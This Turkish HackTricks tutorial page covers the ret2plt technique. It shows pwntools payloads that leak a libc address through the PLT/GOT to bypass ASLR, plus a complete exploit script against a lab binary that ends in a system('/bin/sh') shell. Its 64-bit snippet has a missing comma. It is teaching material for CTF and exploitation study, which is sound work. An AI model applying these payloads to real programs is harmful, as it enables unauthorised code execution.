3.0 KiB
Ret2plt
{{#include ../../../banners/hacktricks-training.md}}
Temel Bilgiler
Bu tekniğin amacı, ASLR'yi atlatabilmek için PLT'den bir fonksiyonun adresini sızdırmak olacaktır. Bunun nedeni, örneğin, libc'den puts fonksiyonunun adresini sızdırırsanız, libc'nin temel adresini hesaplayabilir ve system gibi diğer fonksiyonlara erişmek için ofsetleri hesaplayabilirsiniz.
Bu, (buradan) gibi bir pwntools yükü ile yapılabilir:
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
Not edin ki puts (PLT'den alınan adres kullanılarak) GOT'daki puts adresi ile çağrılır. Bunun nedeni, puts GOT girişi yazdırdığında, bu girişin bellek içindeki puts adresini tam olarak içerecek olmasıdır.
Ayrıca, main adresinin istismarda nasıl kullanıldığını not edin, böylece puts çalışmasını bitirdiğinde, binary main'i tekrar çağırır, çıkmak yerine (bu nedenle sızdırılan adres geçerli olmaya devam eder).
Caution
Bunun çalışması için binary PIE ile derlenmemiş olmalıdır veya PLT, GOT ve main adresini bilmek için PIE'yi atlatmak için bir sızıntı bulmuş olmalısınız. Aksi takdirde, önce PIE'yi atlatmanız gerekir.
Bu atlatmanın tam örneğini burada bulabilirsiniz. Bu, o örneğin son istismarıydı:
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
Diğer örnekler ve Referanslar
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bit, ASLR etkin ama PIE yok, ilk adım bir taşmayı 0x00 byte'ına kadar doldurmak ve ardından puts çağrısı yaparak sızıntıyı elde etmektir. Canary ile bir ROP gadget'ı oluşturulur, puts'u çağırarak GOT'tan puts'un adresini sızdırır ve ardından
system('/bin/sh')çağırmak için bir ROP gadget'ı. - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bit, ASLR etkin, canary yok, ana fonksiyondan bir çocuk fonksiyonu ile yığın taşması. Puts'un GOT'tan adresini sızdırmak için puts'u çağıran bir ROP gadget'ı ve ardından bir gadget çağırmak için.
{{#include ../../../banners/hacktricks-training.md}}